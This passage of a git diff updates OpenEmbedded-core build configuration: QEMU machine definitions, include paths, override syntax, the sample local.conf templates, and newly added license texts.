-require conf/machine/include/tune-cortexa57.inc
+require conf/machine/include/arm/armv8a/tune-cortexa57.inc
require conf/machine/include/qemu.inc
KERNEL_IMAGETYPE = "Image"
@@ -10,25 +10,21 @@ KERNEL_IMAGETYPE = "Image"
UBOOT_MACHINE ?= "qemu_arm64_defconfig"
SERIAL_CONSOLES ?= "115200;ttyAMA0 115200;hvc0"
-SERIAL_CONSOLES_CHECK = "${SERIAL_CONSOLES}"
# For runqemu
QB_SYSTEM_NAME = "qemu-system-aarch64"
QB_MACHINE = "-machine virt"
QB_CPU = "-cpu cortex-a57"
+QB_SMP ?= "-smp 4"
QB_CPU_KVM = "-cpu host -machine gic-version=3"
-# Standard Serial console
-QB_KERNEL_CMDLINE_APPEND = "console=ttyAMA0"
# For graphics to work we need to define the VGA device as well as the necessary USB devices
-QB_OPT_APPEND = "-device VGA,edid=on"
-QB_OPT_APPEND += "-device qemu-xhci -device usb-tablet -device usb-kbd"
-# Add the 'virtio-rng-pci' device otherwise the guest may run out of entropy
-QB_OPT_APPEND += "-object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0"
+QB_GRAPHICS = "-device virtio-gpu-pci"
+QB_OPT_APPEND = "-device qemu-xhci -device usb-tablet -device usb-kbd"
# Virtio Networking support
QB_TAP_OPT = "-netdev tap,id=net0,ifname=@TAP@,script=no,downscript=no"
-QB_NETWORK_DEVICE = "-device virtio-net-device,netdev=net0,mac=@MAC@"
+QB_NETWORK_DEVICE = "-device virtio-net-pci,netdev=net0,mac=@MAC@"
# Virtio block device
-QB_ROOTFS_OPT = "-drive id=disk0,file=@ROOTFS@,if=none,format=raw -device virtio-blk-device,drive=disk0"
+QB_ROOTFS_OPT = "-drive id=disk0,file=@ROOTFS@,if=none,format=raw -device virtio-blk-pci,drive=disk0"
# Virtio serial console
-QB_SERIAL_OPT = "-device virtio-serial-device -chardev null,id=virtcon -device virtconsole,chardev=virtcon"
-QB_TCPSERIAL_OPT = "-device virtio-serial-device -chardev socket,id=virtcon,port=@PORT@,host=127.0.0.1 -device virtconsole,chardev=virtcon"
+QB_SERIAL_OPT = "-device virtio-serial-pci -chardev null,id=virtcon -device virtconsole,chardev=virtcon"
+QB_TCPSERIAL_OPT = "-device virtio-serial-pci -chardev socket,id=virtcon,port=@PORT@,host=127.0.0.1,nodelay=on -device virtconsole,chardev=virtcon"
diff --git a/meta/conf/machine/qemuarmv5.conf b/meta/conf/machine/qemuarmv5.conf
index 6940efe46f..ecd2873d91 100644
--- a/meta/conf/machine/qemuarmv5.conf
+++ b/meta/conf/machine/qemuarmv5.conf
@@ -3,7 +3,7 @@
#@DESCRIPTION: Machine configuration for running an ARMv5 system on QEMU
require conf/machine/include/qemu.inc
-require conf/machine/include/tune-arm926ejs.inc
+require conf/machine/include/arm/armv5/tune-arm926ejs.inc
KERNEL_IMAGETYPE = "zImage"
@@ -12,11 +12,8 @@ SERIAL_CONSOLES ?= "115200;ttyAMA0 115200;ttyAMA1"
# For runqemu
QB_SYSTEM_NAME = "qemu-system-arm"
QB_MACHINE = "-machine versatilepb"
-QB_KERNEL_CMDLINE_APPEND = "console=ttyAMA0,115200 console=tty"
-QB_OPT_APPEND = "-usb -device usb-tablet"
-# Add the 'virtio-rng-pci' device otherwise the guest may run out of entropy
-QB_OPT_APPEND += "-object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0"
-PREFERRED_VERSION_linux-yocto ??= "5.4%"
-QB_DTB = "${@oe.utils.version_less_or_equal('PREFERRED_VERSION_linux-yocto', '4.7', '', 'zImage-versatile-pb.dtb', d)}"
+QB_GRAPHICS = "-device virtio-gpu-pci"
+QB_OPT_APPEND = "-device qemu-xhci -device usb-tablet -device usb-kbd"
+QB_DTB ?= "zImage-versatile-pb.dtb"
-KMACHINE_qemuarmv5 = "qemuarm"
+KMACHINE:qemuarmv5 = "arm-versatile-926ejs"
diff --git a/meta/conf/machine/qemuloongarch64.conf b/meta/conf/machine/qemuloongarch64.conf
new file mode 100644
index 0000000000..675d525afd
--- /dev/null
+++ b/meta/conf/machine/qemuloongarch64.conf
@@ -0,0 +1,11 @@
+#@TYPE: Machine
+#@NAME: generic loongarch64 machine
+#@DESCRIPTION: Machine configuration for running a generic loongarch64
+
+require conf/machine/include/loongarch/qemuloongarch.inc
+
+XVISOR_PLAT = "loongarch/virt64"
+
+EXTRA_IMAGEDEPENDS += "u-boot"
+UBOOT_MACHINE = "qemu-loongarch64_smode_defconfig"
+UBOOT_ELF = "u-boot"
diff --git a/meta/conf/machine/qemumips.conf b/meta/conf/machine/qemumips.conf
index 4617c3c7b6..1cf21b92fe 100644
--- a/meta/conf/machine/qemumips.conf
+++ b/meta/conf/machine/qemumips.conf
@@ -3,12 +3,14 @@
#@DESCRIPTION: Machine configuration for running a MIPS system on QEMU
require conf/machine/include/qemu.inc
-require conf/machine/include/tune-mips32r2.inc
-require conf/machine/include/qemuboot-mips.inc
+require conf/machine/include/mips/tune-mips32r2.inc
+require conf/machine/include/mips/qemuboot-mips.inc
KERNEL_IMAGETYPE = "vmlinux"
KERNEL_ALT_IMAGETYPE = "vmlinux.bin"
+UBOOT_MACHINE ?= "malta_defconfig"
+
SERIAL_CONSOLES ?= "115200;ttyS0 115200;ttyS1"
QB_SYSTEM_NAME = "qemu-system-mips"
diff --git a/meta/conf/machine/qemumips64.conf b/meta/conf/machine/qemumips64.conf
index 6d5174665f..32351f993e 100644
--- a/meta/conf/machine/qemumips64.conf
+++ b/meta/conf/machine/qemumips64.conf
@@ -3,14 +3,16 @@
#@DESCRIPTION: Machine configuration for running a MIPS64 system on QEMU
require conf/machine/include/qemu.inc
-require conf/machine/include/tune-mips64r2.inc
-require conf/machine/include/qemuboot-mips.inc
+require conf/machine/include/mips/tune-mips64r2.inc
+require conf/machine/include/mips/qemuboot-mips.inc
QB_CPU = "-cpu MIPS64R2-generic"
KERNEL_IMAGETYPE = "vmlinux"
KERNEL_ALT_IMAGETYPE = "vmlinux.bin"
+UBOOT_MACHINE ?= "malta64_defconfig"
+
SERIAL_CONSOLES ?= "115200;ttyS0 115200;ttyS1"
QB_SYSTEM_NAME = "qemu-system-mips64"
diff --git a/meta/conf/machine/qemuppc.conf b/meta/conf/machine/qemuppc.conf
index 9733b5e85b..bab06e292e 100644
--- a/meta/conf/machine/qemuppc.conf
+++ b/meta/conf/machine/qemuppc.conf
@@ -3,7 +3,7 @@
#@DESCRIPTION: Machine configuration for running a PPC system on QEMU
require conf/machine/include/qemu.inc
-require conf/machine/include/tune-ppc7400.inc
+require conf/machine/include/powerpc/tune-ppc7400.inc
TARGET_CC_KERNEL_ARCH = "-mno-spe"
@@ -17,6 +17,4 @@ QB_MACHINE = "-machine mac99"
QB_CPU = "-cpu G4"
QB_KERNEL_CMDLINE_APPEND = "console=tty console=ttyS0"
QB_OPT_APPEND = "-usb -device usb-tablet"
-# Add the 'virtio-rng-pci' device otherwise the guest may run out of entropy
-QB_OPT_APPEND += "-object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0"
QB_TAP_OPT = "-netdev tap,id=net0,ifname=@TAP@,script=no,downscript=no"
diff --git a/meta/conf/machine/qemuppc64.conf b/meta/conf/machine/qemuppc64.conf
new file mode 100644
index 0000000000..2fbd26a6f9
--- /dev/null
+++ b/meta/conf/machine/qemuppc64.conf
@@ -0,0 +1,23 @@
+#@TYPE: Machine
+#@NAME: QEMU PPC64 machine
+#@DESCRIPTION: Machine configuration for running a PPC system on QEMU
+
+require conf/machine/include/qemu.inc
+require conf/machine/include/powerpc/tune-power9.inc
+
+KERNEL_IMAGETYPE = "vmlinux"
+
+SERIAL_CONSOLES ?= "115200;hvc0"
+
+# For runqemu
+QB_SYSTEM_NAME = "qemu-system-ppc64"
+QB_MACHINE = "-machine pseries"
+QB_CPU = "-cpu POWER9"
+QB_SMP ?= "-smp 2"
+
+QB_NFSROOTFS_EXTRA_OPT = "wsize=524288,rsize=524288"
+QB_KERNEL_CMDLINE_APPEND = "console=hvc0 nohugevmalloc"
+#QB_OPT_APPEND += "-device qemu-xhci -device usb-tablet -device usb-kbd"
+QB_OPT_APPEND = "-usb -device usb-tablet"
+
+MACHINE_EXTRA_RRECOMMENDS += " kernel-modules"
diff --git a/meta/conf/machine/qemuriscv32.conf b/meta/conf/machine/qemuriscv32.conf
new file mode 100644
index 0000000000..d3858dc051
--- /dev/null
+++ b/meta/conf/machine/qemuriscv32.conf
@@ -0,0 +1,16 @@
+#@TYPE: Machine
+#@NAME: generic riscv32 machine
+#@DESCRIPTION: Machine configuration for running a generic riscv32
+
+require conf/machine/include/riscv/qemuriscv.inc
+
+DEFAULTTUNE = "riscv32"
+
+PREFERRED_VERSION_openocd-native = "riscv"
+PREFERRED_VERSION_openocd = "riscv"
+
+XVISOR_PLAT = "riscv/virt32"
+
+EXTRA_IMAGEDEPENDS += "u-boot"
+UBOOT_MACHINE = "qemu-riscv32_smode_defconfig"
+UBOOT_ELF = "u-boot"
diff --git a/meta/conf/machine/qemux86-64.conf b/meta/conf/machine/qemux86-64.conf
index db9004ee32..14873a3b4f 100644
--- a/meta/conf/machine/qemux86-64.conf
+++ b/meta/conf/machine/qemux86-64.conf
@@ -6,11 +6,12 @@ PREFERRED_PROVIDER_virtual/xserver ?= "xserver-xorg"
PREFERRED_PROVIDER_virtual/libgl ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles1 ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles2 ?= "mesa"
+PREFERRED_PROVIDER_virtual/libgles3 ?= "mesa"
require conf/machine/include/qemu.inc
DEFAULTTUNE ?= "core2-64"
-require conf/machine/include/tune-core2.inc
-require conf/machine/include/qemuboot-x86.inc
+require conf/machine/include/x86/tune-x86-64-v3.inc
+require conf/machine/include/x86/qemuboot-x86.inc
UBOOT_MACHINE ?= "qemu-x86_64_defconfig"
diff --git a/meta/conf/machine/qemux86.conf b/meta/conf/machine/qemux86.conf
index 7e6723b880..1e072e1ae2 100644
--- a/meta/conf/machine/qemux86.conf
+++ b/meta/conf/machine/qemux86.conf
@@ -6,11 +6,12 @@ PREFERRED_PROVIDER_virtual/xserver ?= "xserver-xorg"
PREFERRED_PROVIDER_virtual/libgl ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles1 ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles2 ?= "mesa"
+PREFERRED_PROVIDER_virtual/libgles3 ?= "mesa"
require conf/machine/include/qemu.inc
DEFAULTTUNE ?= "core2-32"
-require conf/machine/include/tune-corei7.inc
-require conf/machine/include/qemuboot-x86.inc
+require conf/machine/include/x86/tune-corei7.inc
+require conf/machine/include/x86/qemuboot-x86.inc
UBOOT_MACHINE ?= "qemu-x86_defconfig"
diff --git a/meta/conf/multilib.conf b/meta/conf/multilib.conf
index 58f2ac5c86..ef3605a73d 100644
--- a/meta/conf/multilib.conf
+++ b/meta/conf/multilib.conf
@@ -1,7 +1,8 @@
-baselib = "${@d.getVar('BASE_LIB_tune-' + (d.getVar('DEFAULTTUNE') or 'INVALID')) or d.getVar('BASELIB')}"
+baselib = "${@d.getVar('BASE_LIB:tune-' + (d.getVar('DEFAULTTUNE') or 'INVALID')) or d.getVar('BASELIB')}"
MULTILIB_VARIANTS = "${@extend_variants(d,'MULTILIBS','multilib')}"
+MULTILIB_VARIANTS[vardeps] += "MULTILIBS"
MULTILIB_SAVE_VARNAME = "DEFAULTTUNE TARGET_ARCH TARGET_SYS TARGET_VENDOR"
MULTILIBS ??= "multilib:lib32"
@@ -9,15 +10,17 @@ MULTILIBS ??= "multilib:lib32"
STAGING_DIR_HOST = "${WORKDIR}/${MLPREFIX}recipe-sysroot"
STAGING_DIR_TARGET = "${WORKDIR}/${MLPREFIX}recipe-sysroot"
RECIPE_SYSROOT = "${WORKDIR}/${MLPREFIX}recipe-sysroot"
-RECIPE_SYSROOT_class-native = "${WORKDIR}/recipe-sysroot"
+RECIPE_SYSROOT:class-native = "${WORKDIR}/recipe-sysroot"
+
+PSEUDO_IGNORE_PATHS .= ",${WORKDIR}/${MLPREFIX}recipe-sysroot"
INHERIT += "multilib_global"
-BBCLASSEXTEND_append = " ${MULTILIBS}"
+BBCLASSEXTEND:append = " ${MULTILIBS}"
MULTILIB_GLOBAL_VARIANTS ?= "lib32 lib64 libx32"
-OPKG_ARGS_append = " --force-maintainer --force-overwrite"
+OPKG_ARGS:append = " --force-maintainer --force-overwrite"
# When multilib is enabled, allarch recipes will be installed into the MACHINE
# sysroot, not MLPREFIXMACHINE. This means that anything using pkg-config to
@@ -30,4 +33,4 @@ PKG_CONFIG_PATH[vardepvalueexclude] = ":${WORKDIR}/recipe-sysroot/${datadir}/pkg
# These recipes don't need multilib variants, the ${BPN} PROVDES/RPROVDES
# ${MLPREFIX}${BPN}
-NON_MULTILIB_RECIPES = "grub grub-efi make-mod-scripts ovmf"
+NON_MULTILIB_RECIPES = "grub grub-efi make-mod-scripts ovmf u-boot"
diff --git a/meta/conf/sanity.conf b/meta/conf/sanity.conf
index 8ae548941b..d2f56a3fb0 100644
--- a/meta/conf/sanity.conf
+++ b/meta/conf/sanity.conf
@@ -3,12 +3,12 @@
# See sanity.bbclass
#
# Expert users can confirm their sanity with "touch conf/sanity.conf"
-BB_MIN_VERSION = "1.47.0"
+BB_MIN_VERSION = "2.7.3"
SANITY_ABIFILE = "${TMPDIR}/abi_version"
SANITY_VERSION ?= "1"
-LOCALCONF_VERSION ?= "1"
+LOCALCONF_VERSION ?= "2"
LAYER_CONF_VERSION ?= "7"
SITE_CONF_VERSION ?= "1"
diff --git a/meta/conf/bblayers.conf.sample b/meta/conf/templates/default/bblayers.conf.sample
index c985f4f242..c985f4f242 100644
--- a/meta/conf/bblayers.conf.sample
+++ b/meta/conf/templates/default/bblayers.conf.sample
diff --git a/meta/conf/conf-notes.txt b/meta/conf/templates/default/conf-notes.txt
index 5af13a8357..cfd1f1977b 100644
--- a/meta/conf/conf-notes.txt
+++ b/meta/conf/templates/default/conf-notes.txt
@@ -5,11 +5,13 @@ You can now run 'bitbake <target>'
Common targets are:
core-image-minimal
+ core-image-full-cmdline
core-image-sato
+ core-image-weston
meta-toolchain
meta-ide-support
-You can also run generated qemu images with a command like 'runqemu qemux86'.
+You can also run generated qemu images with a command like 'runqemu qemux86-64'.
Other commonly useful commands are:
- 'devtool' and 'recipetool' handle common recipe tasks
diff --git a/meta/conf/templates/default/conf-summary.txt b/meta/conf/templates/default/conf-summary.txt
new file mode 100644
index 0000000000..e49172fa0c
--- /dev/null
+++ b/meta/conf/templates/default/conf-summary.txt
@@ -0,0 +1 @@
+This is the default build configuration for the openembedded-core layer.
diff --git a/meta/conf/local.conf.sample b/meta/conf/templates/default/local.conf.sample
index 783d2c4c16..50fd574fd3 100644
--- a/meta/conf/local.conf.sample
+++ b/meta/conf/templates/default/local.conf.sample
@@ -2,9 +2,11 @@
# This file is your local configuration file and is where all local user settings
# are placed. The comments in this file give some guide to the options a new user
# to the system might want to change but pretty much any configuration option can
-# be set in this file. More adventurous users can look at local.conf.extended
-# which contains other examples of configuration which can be placed in this file
-# but new users likely won't need any of them initially.
+# be set in this file. More adventurous users can look at
+# local.conf.sample.extended which contains other examples of configuration which
+# can be placed in this file but new users likely won't need any of them
+# initially. There's also site.conf.sample which contains examples of site specific
+# information such as proxy server addresses.
#
# Lines starting with the '#' character are commented out and in some cases the
# default values are provided as comments to show people example syntax. Enabling
@@ -28,6 +30,10 @@
# This sets the default machine to be qemux86-64 if no other machine is selected:
MACHINE ??= "qemux86-64"
+# These are some of the more commonly used values. Looking at the files in the
+# meta/conf/machine directory, or the conf/machine directory of any additional layers
+# you add in will show all the available machines.
+
#
# Where to place downloads
#
@@ -90,7 +96,7 @@ PACKAGE_CLASSES ?= "package_ipk"
# This variable specifies the architecture to build SDK items for and means
# you can build the SDK packages for architectures other than the machine you are
# running the build on (i.e. building i686 packages on an x86_64 host).
-# Supported values are i686 and x86_64
+# Supported values are i686, x86_64, aarch64
#SDKMACHINE ?= "i686"
#
@@ -115,7 +121,8 @@ PACKAGE_CLASSES ?= "package_ipk"
# "debug-tweaks" - make an image suitable for development
# e.g. ssh root access has a blank password
# There are other application targets that can be used here too, see
-# meta/classes/image.bbclass and meta/classes/core-image.bbclass for more details.
+# meta/classes-recipe/image.bbclass and
+# meta/classes-recipe/core-image.bbclass for more details.
# We default to enabling the debugging tweaks.
EXTRA_IMAGE_FEATURES ?= "debug-tweaks"
@@ -126,11 +133,7 @@ EXTRA_IMAGE_FEATURES ?= "debug-tweaks"
# enable extra features. Some available options which can be included in this variable
# are:
# - 'buildstats' collect build statistics
-# - 'image-mklibs' to reduce shared library files size for an image
-# - 'image-prelink' in order to prelink the filesystem image
-# NOTE: if listing mklibs & prelink both, then make sure mklibs is before prelink
-# NOTE: mklibs also needs to be explicitly enabled for a given image, see local.conf.extended
-USER_CLASSES ?= "buildstats image-mklibs image-prelink"
+USER_CLASSES ?= "buildstats"
#
@@ -139,9 +142,9 @@ USER_CLASSES ?= "buildstats image-mklibs image-prelink"
# The build system can test booting virtual machine images under qemu (an emulator)
# after any root filesystems are created and run tests against those images. It can also
# run tests against any SDK that are built. To enable this uncomment these lines.
-# See classes/test{image,sdk}.bbclass for further details.
+# See meta/classes-recipe/test{image,sdk}.bbclass for further details.
#IMAGE_CLASSES += "testimage testsdk"
-#TESTIMAGE_AUTO_qemuall = "1"
+#TESTIMAGE_AUTO:qemuall = "1"
#
# Interactive shell configuration
@@ -167,29 +170,29 @@ PATCHRESOLVE = "noop"
#
# Monitor the disk space during the build. If there is less that 1GB of space or less
# than 100K inodes in any key build location (TMPDIR, DL_DIR, SSTATE_DIR), gracefully
-# shutdown the build. If there is less that 100MB or 1K inodes, perform a hard abort
+# shutdown the build. If there is less than 100MB or 1K inodes, perform a hard halt
# of the build. The reason for this is that running completely out of space can corrupt
# files and damages the build in ways which may not be easily recoverable.
-# It's necesary to monitor /tmp, if there is no space left the build will fail
+# It's necessary to monitor /tmp, if there is no space left the build will fail
# with very exotic errors.
BB_DISKMON_DIRS ??= "\
STOPTASKS,${TMPDIR},1G,100K \
STOPTASKS,${DL_DIR},1G,100K \
STOPTASKS,${SSTATE_DIR},1G,100K \
STOPTASKS,/tmp,100M,100K \
- ABORT,${TMPDIR},100M,1K \
- ABORT,${DL_DIR},100M,1K \
- ABORT,${SSTATE_DIR},100M,1K \
- ABORT,/tmp,10M,1K"
+ HALT,${TMPDIR},100M,1K \
+ HALT,${DL_DIR},100M,1K \
+ HALT,${SSTATE_DIR},100M,1K \
+ HALT,/tmp,10M,1K"
#
# Shared-state files from other locations
#
-# As mentioned above, shared state files are prebuilt cache data objects which can
+# As mentioned above, shared state files are prebuilt cache data objects which can be
# used to accelerate build time. This variable can be used to configure the system
# to search other mirror locations for these objects before it builds the data itself.
#
-# This can be a filesystem directory, or a remote url such as http or ftp. These
+# This can be a filesystem directory, or a remote url such as https or ftp. These
# would contain the sstate-cache results from previous builds (possibly from other
# machines). This variable works like fetcher MIRRORS/PREMIRRORS and points to the
# cache locations to check for the shared objects.
@@ -197,21 +200,24 @@ BB_DISKMON_DIRS ??= "\
# at the end as shown in the examples below. This will be substituted with the
# correct path within the directory structure.
#SSTATE_MIRRORS ?= "\
-#file://.* http://someserver.tld/share/sstate/PATH;downloadfilename=PATH \n \
+#file://.* https://someserver.tld/share/sstate/PATH;downloadfilename=PATH \
#file://.* file:///some/local/dir/sstate/PATH"
#
# Qemu configuration
#
-# By default qemu will build with a builtin VNC server where graphical output can be
-# seen. The two lines below enable the SDL backend too. By default libsdl2-native will
-# be built, if you want to use your host's libSDL instead of the minimal libsdl built
-# by libsdl2-native then uncomment the ASSUME_PROVIDED line below.
-PACKAGECONFIG_append_pn-qemu-system-native = " sdl"
-PACKAGECONFIG_append_pn-nativesdk-qemu = " sdl"
+# By default native qemu will build with a builtin VNC server where graphical output can be
+# seen. The line below enables the SDL UI frontend too.
+PACKAGECONFIG:append:pn-qemu-system-native = " sdl"
+# By default libsdl2-native will be built, if you want to use your host's libSDL instead of
+# the minimal libsdl built by libsdl2-native then uncomment the ASSUME_PROVIDED line below.
#ASSUME_PROVIDED += "libsdl2-native"
+# You can also enable the Gtk UI frontend, which takes somewhat longer to build, but adds
+# a handy set of menus for controlling the emulator.
+#PACKAGECONFIG:append:pn-qemu-system-native = " gtk+"
+
#
# Hash Equivalence
#
@@ -226,7 +232,17 @@ PACKAGECONFIG_append_pn-nativesdk-qemu = " sdl"
#BB_HASHSERVE = "auto"
#BB_SIGNATURE_HANDLER = "OEEquivHash"
+#
+# Memory Resident Bitbake
+#
+# Bitbake's server component can stay in memory after the UI for the current command
+# has completed. This means subsequent commands can run faster since there is no need
+# for bitbake to reload cache files and so on. Number is in seconds, after which the
+# server will shut down.
+#
+#BB_SERVER_TIMEOUT = "60"
+
# CONF_VERSION is increased each time build/conf/ changes incompatibly and is used to
# track the version of this file when it was generated. This can safely be ignored if
# this doesn't mean anything to you.
-CONF_VERSION = "1"
+CONF_VERSION = "2"
diff --git a/meta/conf/local.conf.sample.extended b/meta/conf/templates/default/local.conf.sample.extended
index 443b4e83f9..a898b18d59 100644
--- a/meta/conf/local.conf.sample.extended
+++ b/meta/conf/templates/default/local.conf.sample.extended
@@ -35,7 +35,7 @@
#DISTRO_FEATURES = "alsa bluetooth ext2 irda ipv4 ipv6 pcmcia usbgadget usbhost wifi nfs zeroconf pci"
# If you want to get an image based on directfb without x11, Please copy this variable to build/conf/local.conf
-#DISTRO_FEATURES = "alsa argp bluetooth ext2 irda ipv4 ipv6 largefile pcmcia usbgadget usbhost wifi xattr nfs zeroconf pci 3g directfb"
+#DISTRO_FEATURES = "alsa bluetooth ext2 irda ipv4 ipv6 pcmcia usbgadget usbhost wifi xattr nfs zeroconf pci 3g directfb"
# ENABLE_BINARY_LOCALE_GENERATION controls the generation of binary locale
# packages at build time using qemu-native. Disabling it (by setting it to 0)
@@ -120,18 +120,6 @@
#
# TCMODE ?= "external-sourcery"
-# mklibs library size optimization is more useful to smaller images,
-# and less useful for bigger images. Also mklibs library optimization
-# can break the ABI compatibility, so should not be applied to the
-# images which are to be extended or upgraded later.
-#This enabled mklibs library size optimization just for the specified image.
-#MKLIBS_OPTIMIZED_IMAGES ?= "core-image-minimal"
-#This enable mklibs library size optimization will be for all the images.
-#MKLIBS_OPTIMIZED_IMAGES ?= "all"
-
-# Uncomment this if your host distribution provides the help2man tool.
-#ASSUME_PROVIDED += "help2man-native"
-
# This value is currently used by pseudo to determine if the recipe should
# build both the 32-bit and 64-bit wrapper libraries on a 64-bit build system.
#
@@ -148,7 +136,7 @@
# Uncomment the following lines to enable multilib builds
#require conf/multilib.conf
#MULTILIBS = "multilib:lib32"
-#DEFAULTTUNE_virtclass-multilib-lib32 = "x86"
+#DEFAULTTUNE:virtclass-multilib-lib32 = "x86"
# Set RPM_PREFER_ELF_ARCH to configure preferred ABI when using rpm packaging
# backend to generate a rootfs, choices are:
@@ -190,14 +178,14 @@
# product. If shipped as part of an image these packages may have
# implications so they are disabled by default. To enable them,
# un-comment the below as appropriate.
-#LICENSE_FLAGS_WHITELIST = "commercial_gst-fluendo-mp3 \
-# commercial_gst-openmax \
-# commercial_gst-plugins-ugly \
-# commercial_lame \
-# commercial_libmad \
-# commercial_libomxil \
-# commercial_mpeg2dec \
-# commercial_qmmp"
+#LICENSE_FLAGS_ACCEPTED = "commercial_gst-fluendo-mp3 \
+# commercial_gst-openmax \
+# commercial_gst-plugins-ugly \
+# commercial_lame \
+# commercial_libmad \
+# commercial_libomxil \
+# commercial_mpeg2dec \
+# commercial_qmmp"
#
@@ -208,7 +196,7 @@
# "action,directory,minimum_space,minimum_free_inode"
#
# The "action" must be set and should be one of:
-# ABORT: Immediately abort
+# HALT: Immediately halt
# STOPTASKS: The new tasks can't be executed any more, will stop the build
# when the running tasks have been done.
# WARN: show warnings (see BB_DISKMON_WARNINTERVAL for more information)
@@ -310,7 +298,7 @@
# will correct this condition.
#
# By default the system looks in the BBPATH for files/passwd and files/group
-# the default can be overriden by spefying USERADD_UID/GID_TABLES.
+# the default can be overridden by specifying USERADD_UID/GID_TABLES.
#
#USERADDEXTENSION = "useradd-staticids"
#USERADD_UID_TABLES = "files/passwd"
@@ -326,7 +314,7 @@
# Note this is not officially supported and is just illustrated here to
# show an example of how it can be done
# You'll also need your fortran recipe to depend on libgfortran
-#FORTRAN_forcevariable = ",fortran"
+#FORTRAN:forcevariable = ",fortran"
#
# Kernel image features
@@ -334,7 +322,7 @@
# The INITRAMFS_IMAGE image variable will cause an additional recipe to
# be built as a dependency to the what ever rootfs recipe you might be
# using such as core-image-sato. The initramfs might be needed for
-# the initial boot of of the target system such as to load kernel
+# the initial boot of the target system such as to load kernel
# modules prior to mounting the root file system.
#
# INITRAMFS_IMAGE_BUNDLE variable controls if the image recipe
@@ -374,23 +362,12 @@
#
#
-# Use busybox/mdev for system initialization
-#
-#VIRTUAL-RUNTIME_dev_manager = "busybox-mdev"
-#VIRTUAL-RUNTIME_login_manager = "busybox"
-#VIRTUAL-RUNTIME_init_manager = "busybox"
-#VIRTUAL-RUNTIME_initscripts = "initscripts"
-#VIRTUAL-RUNTIME_keymaps = "keymaps"
-#DISTRO_FEATURES_BACKFILL_CONSIDERED += "sysvinit"
-
-#
-# Use systemd for system initialization
+# System initialization
#
-#DISTRO_FEATURES_append = " systemd"
-#DISTRO_FEATURES_BACKFILL_CONSIDERED += "sysvinit"
-#VIRTUAL-RUNTIME_login_manager = "shadow-base"
-#VIRTUAL-RUNTIME_init_manager = "systemd"
-#VIRTUAL-RUNTIME_initscripts = "systemd-compat-units"
+#INIT_MANAGER = "none"
+#INIT_MANAGER = "sysvinit"
+#INIT_MANAGER = "systemd"
+#INIT_MANAGER = "mdev-busybox"
#
# Use a full set of packages instead of busybox for base utils
@@ -399,3 +376,14 @@
#VIRTUAL-RUNTIME_base-utils = "packagegroup-core-base-utils"
#VIRTUAL-RUNTIME_base-utils-hwclock = "util-linux-hwclock"
#VIRTUAL-RUNTIME_base-utils-syslog = "syslog"
+
+#
+# Enable LTO system-wide
+#
+#require conf/distro/include/lto.inc
+#DISTRO_FEATURES:append = " lto"
+
+#
+# Set PS1 for SDK
+#
+#SDK_PS1 ?= "${SDK_NAME}${SDK_VENDOR}:\$ "
diff --git a/meta/conf/site.conf.sample b/meta/conf/templates/default/site.conf.sample
index 5164fedf63..5164fedf63 100644
--- a/meta/conf/site.conf.sample
+++ b/meta/conf/templates/default/site.conf.sample
diff --git a/meta/conf/testexport.conf b/meta/conf/testexport.conf
new file mode 100644
index 0000000000..8880f108fb
--- /dev/null
+++ b/meta/conf/testexport.conf
@@ -0,0 +1,3 @@
+TEST_EXPORT_SDK_PACKAGES ?= ""
+TEST_EXPORT_SDK_DIR ?= "sdk"
+TEST_EXPORT_SDK_NAME ?= "testexport-tools-nativesdk"
diff --git a/meta/files/common-licenses/0BSD b/meta/files/common-licenses/0BSD
new file mode 100644
index 0000000000..0b8ae762b2
--- /dev/null
+++ b/meta/files/common-licenses/0BSD
@@ -0,0 +1,5 @@
+Copyright (C) YEAR by AUTHOR EMAIL
+
+Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted.
+
+THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/ADSL b/meta/files/common-licenses/ADSL
new file mode 100644
index 0000000000..dc509208cc
--- /dev/null
+++ b/meta/files/common-licenses/ADSL
@@ -0,0 +1 @@
+This software code is made available "AS IS" without warranties of any kind. You may copy, display, modify and redistribute the software code either by itself or as incorporated into your code; provided that you do not remove any proprietary notices. Your use of this software code is at your own risk and you waive any claim against Amazon Digital Services, Inc. or its affiliates with respect to your use of this software code. (c) 2006 Amazon Digital Services, Inc. or its affiliates.
diff --git a/meta/files/common-licenses/AFL-1.1 b/meta/files/common-licenses/AFL-1.1
new file mode 100644
index 0000000000..446c0aca44
--- /dev/null
+++ b/meta/files/common-licenses/AFL-1.1
@@ -0,0 +1,27 @@
+Academic Free License
+Version 1.1
+
+The Academic Free License applies to any original work of authorship (the "Original Work") whose owner (the "Licensor") has placed the following notice immediately following the copyright notice for the Original Work:
+
+ "Licensed under the Academic Free License version 1.1."
+
+Grant of License. Licensor hereby grants to any person obtaining a copy of the Original Work ("You") a world-wide, royalty-free, non-exclusive, perpetual, non-sublicenseable license
+
+(1) to use, copy, modify, merge, publish, perform, distribute and/or sell copies of the Original Work and derivative works thereof, and
+
+(2) under patent claims owned or controlled by the Licensor that are embodied in the Original Work as furnished by the Licensor, to make, use, sell and offer for sale the Original Work and derivative works thereof, subject to the following conditions.
+
+ Right of Attribution. Redistributions of the Original Work must reproduce all copyright notices in the Original Work as furnished by the Licensor, both in the Original Work itself and in any documentation and/or other materials provided with the distribution of the Original Work in executable form.
+
+ Exclusions from License Grant. Neither the names of Licensor, nor the names of any contributors to the Original Work, nor any of their trademarks or service marks, may be used to endorse or promote products derived from this Original Work without express prior written permission of the Licensor.
+
